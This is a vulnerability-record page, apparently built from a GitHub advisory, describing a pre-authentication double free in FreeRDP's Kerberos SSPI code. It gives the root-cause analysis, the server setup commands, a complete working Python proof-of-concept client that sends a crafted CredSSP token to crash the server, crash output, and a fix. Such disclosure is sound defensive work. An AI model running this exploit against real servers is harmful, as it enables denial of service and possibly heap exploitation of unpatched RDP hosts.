Double free in FreeRDP WinPR Kerberos SSPI lets remote clients crash servers
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
FreeRDP up to and including 3.32.1 has a double free in the WinPR Kerberos SSPI code, in the retrieveSomeTgt function. A remote client that can open an RDP connection and send an NLA/CredSSP token can trigger it before authentication, provided the server has Kerberos with a keytab configured. The double free corrupts heap allocator metadata and can crash the server process, and it can be repeated on every connection.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
# FreeRDP WinPR Kerberos SSPI retrieveSomeTgt double free of the default realm ## Summary A remote client that can open an RDP connection and deliver an NLA/CredSSP token can trigger this before authentication. The server must have Kerberos enabled with a configured keytab and a valid u2u sub-mechanism, and krb5 must have a default realm configured. The token is GSS-wrapped, OID `1.2.840.113554.1.2.2.3`, TOK_ID `0x0400`, whose inner KERB-TGT-REQUEST server-name name-string uses a component containing `@`. The server process then releases the same heap allocation twice, corrupting allocator metadata and aborting the process. The behavior was checked on the latest commit. ## Technical Details The empty-realm branch in `retrieveSomeTgt` does not establish ownership of the realm storage it installs into the principal, so two different cleanup calls later release the same pointer. Repository-relative location: `winpr/libwinpr/sspi/Kerberos/kerberos.c`, function `retrieveSomeTgt`, lines 1484-1489. Data flow. With a keytab configured, `credssp_auth_setup_server` establishes Negotiate/Kerberos inbound credentials with the u2u sub-mechanism enabled (`libfreerdp/core/credssp_auth.c`, lines 366-378). `negotiate_AcceptSecurityContextA` selects the u2u mechanism from the client's GSS OID and only calls the Kerberos `AcceptSecurityContext` when `FindCredential` returns a valid sub-credential (`winpr/libwinpr/sspi/Negotiate/negotiate.c`, lines 1116-1124). `kerberos_AcceptSecurityContext` sets `context->u2u` and state `KERBEROS_STATE_TGT_REQ` when the client OID equals `kerberos_u2u_OID` (`winpr/libwinpr/sspi/Kerberos/kerberos.c`, lines 1533-1547), and for `tok_id` equal to `TOK_ID_TGT_REQ` it parses the client-controlled `target` through `kerberos_rd_tgt_token` and calls `retrieveSomeTgt` (lines 1556-1562). `kerberos_rd_tgt_req_tag2` joins the name-string GeneralString components with slashes without restricting their content, so a single component `host@` yields `target` equal to `host@` (lines 817-843). In `retrieveSomeTgt`, `krb5_parse_name_flags` succeeds for `host@` with `realm.length` equal to zero, so the `!realm.length` branch stores the pointer returned by `krb5_get_default_realm` directly into `target_princ->realm.data` (lines 1428-1449). At `out:` the code calls `krb5_free_default_realm` and then `krb5_free_principal`, and the latter releases `realm.data` through `krb5_free_data_contents` — the same pointer already released (lines 1484-1489). The MIT branch at line 1475 has also freed that pointer once before. ## Impact Processing the pre-authentication token causes a heap double free in the server process that corrupts allocator metadata and can crash the process. The corruption is stable enough to support further heap exploitation. The trigger is reachable before authentication and can be repeated on every connection. ## Proof of Concept Reproduced from a checkout of commit `651ab269524adbda4d673efa60d2e391ef7555a7`. Server side, with NLA enabled on port 13389 and krb5 configured with default realm `EXAMPLE.COM`: ```sh printf '\x05\x02' > empty.keytab export KRB5_CONFIG=./krb5.conf export KRB5_KTNAME=FILE:"$PWD"/empty.keytab export LD_LIBRARY_PATH="$PWD"/install/lib ./install/bin/freerdp-proxy ./proxy.ini ``` Client, delivering the u2u token with server-name component `host@`: ```sh python3 rdp_u2u_client.py 127.0.0.1 13389 host@ ``` Client source `rdp_u2u_client.py`: ```python #!/usr/bin/env python3 # Minimal RDP client that drives the server-side CredSSP/NLA acceptor and delivers # a Kerberos user-to-user (u2u) KERB-TGT-REQUEST token whose server-name contains a # literal '@', producing target="host@" for retrieveSomeTgt(). # # Only the RDP negotiation + TLS handshake + first CredSSP TSRequest are needed: # the vulnerable retrieveSomeTgt() runs while the server processes that first token. import socket import ssl import struct import sys import time # ----------------------------- DER helpers -------------------------------- def _len(n): if n < 0x80: return bytes([n]) b = b"" while n: b = bytes([n & 0xFF]) + b n >>= 8 return bytes([0x80 | len(b)]) + b def tlv(tag, content): return bytes([tag]) + _len(len(content)) + content def der_seq(content): return tlv(0x30, content) def der_app0(content): return tlv(0x60, content) def der_ctx_constructed(tagnum, content): return tlv(0xA0 | tagnum, content) def der_ctx_integer(tagnum, value): if value == 0: v = b"\x00" else: v = b"" x = value while x: v = bytes([x & 0xFF]) + v x >>= 8 if v[0] & 0x80: v = b"\x00" + v return der_ctx_constructed(tagnum, tlv(0x02, v)) def der_oid_raw(oid_bytes): return tlv(0x06, oid_bytes) def der_octet_string(data): return tlv(0x04, data) # Domain OIDs OID_SPNEGO = bytes([0x2B, 0x06, 0x01, 0x05, 0x05, 0x02]) OID_KRB_U2U = bytes([0x2A, 0x86, 0x48, 0x86, 0xF7, 0x12, 0x01, 0x02, 0x02, 0x03]) TOK_ID_TGT_REQ = 0x0400 KRB_TGT_REQ = 16 def build_gss_u2u_tgt_req(name_string_components): """GSS-wrapped KERB-TGT-REQUEST with attacker controlled server-name.""" # name-string [1] SEQUENCE OF GeneralString ns = b"" for c in name_string_components: ns += tlv(0x1B, c.encode()) # GeneralString name_string = der_ctx_constructed(1, der_seq(ns)) # name-type [0] INTEGER (KRB_NT_PRINCIPAL = 1) name_type = der_ctx_integer(0, 1) principal_name = der_ctx_constructed(2, der_seq(name_type + name_string)) kerb_tgt_req = der_seq( der_ctx_integer(0, 5) + # pvno der_ctx_integer(1, KRB_TGT_REQ) + # msg-type principal_name) # GSS initialContextToken: APPLICATION 0 { OID u2u, 2-byte tok_id, inner DER } tok = der_app0( der_oid_raw(OID_KRB_U2U) + struct.pack(">H", TOK_ID_TGT_REQ) + kerb_tgt_req) return tok def build_spnego_neg_token_init(mech_token): mech_types = der_seq(der_oid_raw(OID_KRB_U2U)) # NegotiationToken ::= CHOICE { negTokenInit [0] NegTokenInit, ... } neg_token_init = der_ctx_constructed(0, der_seq( der_ctx_constructed(0, mech_types) + der_ctx_constructed(2, der_octet_string(mech_token)))) return der_app0(der_oid_raw(OID_SPNEGO) + neg_token_init) def build_ts_request(nego_token): # NegoData ::= SEQUENCE OF NegoDataItem ; NegoDataItem ::= SEQUENCE { negoToken [0] OCTET STRING } nego_item = der_seq(der_ctx_constructed(0, der_octet_string(nego_token))) nego_tokens = der_ctx_constructed(1, der_seq(nego_item)) return der_seq(der_ctx_integer(0, 6) + nego_tokens) # ----------------------------- RDP wire ----------------------------------- def x224_rdp_neg_req(protocols): neg = struct.pack("<BBHI", 0x01, 0x00, 0x0008, protocols) body = bytes([0x0E, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00]) + neg return struct.pack(">BBH", 3, 0, 4 + len(body)) + body def recv_x224_confirm(sock): data = b"" while len(data) < 4: part = sock.recv(4 - len(data)) if not part: raise RuntimeError("connection closed during X.224 confirm") data += part length = struct.unpack(">H", data[2:4])[0] rest = b"" while len(rest) < length - 4: part = sock.recv(length - 4 - len(rest)) if not part: raise RuntimeError("connection closed during X.224 confirm body") rest += part return data + rest def main(): host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 13389 target = sys.argv[3] if len(sys.argv) > 3 else "host@" s = socket.create_connection((host, port), timeout=10) s.settimeout(10) # Request HYBRID (2) | SSL (1) = 3 s.sendall(x224_rdp_neg_req(0x03)) rsp = recv_x224_confirm(s) print("[client] X.224 confirm: %s" % rsp.hex(), flush=True) selected = struct.unpack("<I", rsp[-4:])[0] print("[client] selectedProtocol=%d" % selected, flush=True) if selected != 2: print("[client] server did not select PROTOCOL_HYBRID, aborting", flush=True) return 2 ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: ctx.set_ciphers("DEFAULT@SECLEVEL=0") except ssl.SSLError: pass tls = ctx.wrap_socket(s, server_hostname=host) print("[client] TLS established: %s %s" % (tls.version(), tls.cipher()), flush=True) token = build_gss_u2u_tgt_req([target]) spnego = build_spnego_neg_token_init(token) ts = build_ts_request(spnego) print("[client] TSRequest (%d bytes): %s" % (len(ts), ts.hex()), flush=True) tls.sendall(ts) print("[client] TSRequest sent", flush=True) try: data = tls.recv(4096) print("[client] server response (%d bytes): %s" % (len(data), data.hex()), flush=True) except Exception as e: print("[client] post-send read error (expected if server crashed): %r" % (e,), flush=True) time.sleep(0.5) try: tls.close() except Exception: pass if __name__ == "__main__": sys.exit(main()) ``` Observed output: ```text [client] selectedProtocol=2 [client] TLS established: TLSv1.3 ('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256) [client] TSRequest (99 bytes): 3061a003020106a15a30583056a0540452605006062b0601050502a0463044a00e300c060a2a864886f71201020203a2320430602e060a2a864886f712010202030400301ea003020105a103020110a2123010a003020101a10930071b05686f737440 [client] TSRequest sent [client] server response (0 bytes): Aborted (core dumped) "$BIN/freerdp-proxy" "$DEV/proxy.ini" PROXY_STATE: dead free(): double free detected in tcache 2 REPRO_RESULT: reproduced ``` Crash stack: ```text #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007f61cd6cf859 in __GI_abort () at abort.c:79 #2 0x00007f61cd73a266 in __libc_message (action=action@entry=do_abort, fmt=str@entry=0x7f61cd864298 "%s\n") at ../sysdeps/posix/libc_fatal.c:156 #3 0x00007f61cd7422fc in malloc_printerr (str=str@entry=0x7f61cd8665d0 "free(): double free detected in tcache 2") at malloc.c:5347 #4 0x00007f61cd743f6d in _int_free (av=0x7f61bc000020, p=0x7f61bc07b7f0, have_lock=0) at malloc.c:4201 #5 0x00007f61cb3bf3d5 in krb5_free_principal () at /lib/x86_64-linux-gnu/libkrb5.so.3 #6 0x00007f61cd979f65 in retrieveSomeTgt () at /work/build/source/install/lib/libwinpr3.so.3 #7 0x00007f61cd976c95 in kerberos_AcceptSecurityContext () at /work/build/source/install/lib/libwinpr3.so.3 #8 0x00007f61cd97cc9c in negotiate_AcceptSecurityContext () at /work/build/source/install/lib/libwinpr3.so.3 #9 0x00007f61cd985d58 in winpr_AcceptSecurityContext () at /work/build/source/install/lib/libwinpr3.so.3 #10 0x00007f61cdc8462f in credssp_auth_authenticate () at /work/build/source/install/lib/libfreerdp3.so.3 #11 0x00007f61cdbbfd36 in nla_server_authenticate () at /work/build/source/install/lib/libfreerdp3.so.3 #12 0x00007f61cdbbfc3a in nla_authenticate () at /work/build/source/install/lib/libfreerdp3.so.3 #13 0x00007f61cdc5189d in transport_accept_nla () at /work/build/source/install/lib/libfreerdp3.so.3 #14 0x00007f61cdc23d3c in rdp_server_accept_nego () at /work/build/source/install/lib/libfreerdp3.so.3 #15 0x00007f61cdc8009d in peer_recv_callback_internal () at /work/build/source/install/lib/libfreerdp3.so.3 #16 0x00007f61cdc7fc75 in peer_recv_callback () at /work/build/source/install/lib/libfreerdp3.so.3 #17 0x00007f61cdc52c06 in transport_check_fds () at /work/build/source/install/lib/libfreerdp3.so.3 #18 0x00007f61cdc3bbe5 in rdp_check_fds () at /work/build/source/install/lib/libfreerdp3.so.3 #19 0x00007f61cdc7e503 in freerdp_peer_check_fds () at /work/build/source/install/lib/libfreerdp3.so.3 #20 0x00007f61cde2af7e in pf_server_handle_peer () at /work/build/source/install/lib/libfreerdp3-server-proxy3.so.3 #21 0x00007f61cd963f16 in thread_launcher () at /work/build/source/install/lib/libwinpr3.so.3 #22 0x00007f61cbc01609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #23 0x00007f61cd7cc353 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 ``` Controls: with `[email protected]` and `target=host` the server stays alive with no crash, so the trigger is the empty-realm branch. An independent probe against system MIT libkrb5 shows `krb5_parse_name_flags(ctx,"host@",0)` returns 0 with `realm.length=0` and non-NULL `realm.data`, `krb5_get_default_realm` returns `EXAMPLE.COM`, and `KRB5_KTNAME=FILE:empty.keytab` (2-byte magic `0502`) resolves, so no real KDC is needed to enter the branch. ## Suggested Fix The empty-realm branch in `retrieveSomeTgt` must not store the pointer returned by `krb5_get_default_realm` into `target_princ->realm.data`, because `krb5_free_principal` will release that same pointer through `krb5_free_data_contents` while `krb5_free_default_realm` (at `out:`, and again in the MIT-path branch) also releases it. Give the principal's realm its own allocation that `krb5_free_principal` is expected to release — for example by copying the default realm into the principal realm buffer with the matching allocator — or clear `realm.data` after `krb5_free_default_realm`, so the realm storage is freed exactly once along the `out:` path.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-2557-79qc-6gfr |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-2557-79qc-6gfr
Remediation
Upgrade FreeRDP to version 3.32.2.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-2557-79qc-6gfr FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-2557-79qc-6gfr
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences